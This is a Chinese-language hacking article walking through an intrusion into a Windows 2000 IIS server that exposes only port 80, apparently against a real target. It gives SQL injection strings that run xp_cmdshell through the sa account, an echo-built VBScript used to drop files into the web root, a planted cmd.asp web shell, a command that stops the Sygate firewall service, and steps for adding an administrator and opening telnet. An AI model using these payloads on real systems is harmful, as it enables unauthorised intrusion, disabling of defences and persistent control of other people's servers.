作品发布     邀请码    设为首页  收藏 

当前位置:文章提权渗透 → 文章内容 >> 利用一个端口侵入站点思路


利用一个端口侵入站点思路

更新时间:2012-2-18 16:11:37   作者:华中帝国整理  来源:华中帝国
主机的配置:win2kserver(sp3)+sygate personal firewall pro 安全的设置:不说啦太**了竟然只允许80进 扫描:先用x-scan2.3扫端口晕只开80,然后又扫了一遍 唉还是一样的结果,看来管理员也 ...

    主机的配置:win2kserver(sp3)+sygate personal firewall pro

    安全的设置:不说啦太**了竟然只允许80进

    扫描:先用x-scan2.3扫端口晕只开80,然后又扫了一遍

    唉还是一样的结果,看来管理员也不算笨啊!

    检查系统洞洞:先ping了一下竟然ping不通,不过有刚才的扫描结果就很明

    白了应是iis5再加上网页上明显用的asp这样的主机当然是win2k不用

    说咯.

    分析:唉也没什么可以分析咯只能从80入手,看看上面都有些什么东东

    有一个查询系统输入单引号试试,返回

    错误类型:

    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

    /mingce/student1.asp, 第 30 行

    看来运气也不算太坏嘛........应该有sql注入的毛病.........

    为了进一步确认试试运气

    http://x.x.x.x //mingce/student1.asp.BAK

    的确可以正确提交哟返回如下:

    if request.form("xsxm")="" and request.form("xsxh")="" then

    Set Conn=Server.CreateObject("ADODB.Connection")

    Conn.Open "Driver={sql server};Server=localhost;Database=xxxx;UID=sa;PWD="&application("mm_xxx")

    比较长只是上面三行最重要了:我们可以看出ASP后台程序没用对用户提交进行任何的

    过滤,同时数据库用的ADODB.Connection对象(如果是ADODB.Command就算没有过滤

    特殊符号也不行的),当然也可以看出数据库使用的sa来连接的!

    (Tip:其实就算我们看不到ASP的源代码我们也可以试试xp_cmdshell 'iisreset /reboot'

    或是xp_cmdshell 'ping 你.的.I.P',如果第一个命令能执行成功那么在半分钟之内远程

    系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你

    发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行哟)

    好了通过上面的分析我们可以做什么呢:

    通过在web页以管理员的身份来执行系统命令(不过没有回显的)

    如果是一般的系统主机简单了xp_cmdshell 'net user .....'我就不写了

    但是我们现在环境是系统只开了80端口,就算我们能加ADMIN用户也没用三

    以前通常只要开个139/445/135就可以远程管理了不过现在不行.

    我的思路:

    1)找到web目录的路径

    2)写入一个简单的cmd.asp用来找到防火墙的具体名字

    3)通过xp_cmdshell来关闭防火墙服务

    具体实现:

    第一步明显是最难的咯

    我本来打算用adminscripts里面的建web站的方式建一个我自已的可执行目录的

    结果不行哟.然后就想到了使用adsutil.vbs程序我是这样执行的

    a';exec master..xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt';--

    是不是很长啦:)通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中

    对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到别

    的地方我们就没办法了(不可能自已用echo 命令写一个吧)

    第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧:)

    .....xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs';--

    .....xp_cmdshell 'echo Set WshShell = Wscript.CreateObject("Wscript.Shell")>>c:\read.vbs';--

    .....

    -------------------read.vbs---------------------------------

    set fso1=createobject("scripting.filesystemobject")

    Set WshShell = Wscript.CreateObject("Wscript.Shell")

    spa=WshShell.Environment("process")("windir")

    set fil =fso1.opentextfile(spa & "\system32\aa.txt")

    do while not fil.atendofstream

    nr=fil.readline

    if left(nr,4)="Path" then

    pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)

    exit do

    end if

    loop

    set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true)

    fil1.writeline ""

    ---------------cut here--------------------------------------

    第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径

    然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯

    执_blank href=http://x.x.x.x/dd.asp>http://x.x.x.x/dd.asp

    返回:d:\xxx

    看来我运气就是不错的哈(其实有个问题是我们找的第一个web站点可能并不能通过x.x.x.x来仿问)

    第四步:就是用echo命令生成cmd.asp,唉也不算长嘛也就20行而已

    其实在有的网站上(通常是虚拟主机)cmd.asp是不能执行的,不过这台主机是独立的服务器

    所以管理员就没有禁止了

    第五步:执行cmd.asp三,这样我们可以找到系统上到底安的是什么防火墙,找啊找没多久我找到了e:\progra~1\sygate\spf,就是它不用说了嘛sygate personal firewall pro

    (具体版本在cmd.asp里执行echo readme.txt不就明白了)第六步:关闭sygate的防火墙a';exec master..xp_cmdshell 'net stop smcservice';--(smcservice是sygate防火墙的服务名)第七步:看一看成功了吗?用x-scan扫,现在就对了三53,139,135,1433......都出来了第八步:添加系统管理员打开telnet............唉打了半天反正就是这样了...其实我想应该还有好的办法只是我没想到吧.......比如说用echo命令写一个ftp脚本来下载一个httptunel之类的程序然后再打开telnet....当然你也可能想得到更简单的办法就是猜web站点的实际目录......

责任编辑:华中帝国        



本文引用网址: 

利用一个端口侵入站点思路的相关文章
发表评论

用户名: 查看更多评论

分 值:100分 85分 70分 55分 40分 25分 10分 0分

内 容:

         (注“”为必填内容。) 验证码: 验证码,看不清楚?请点击刷新验证码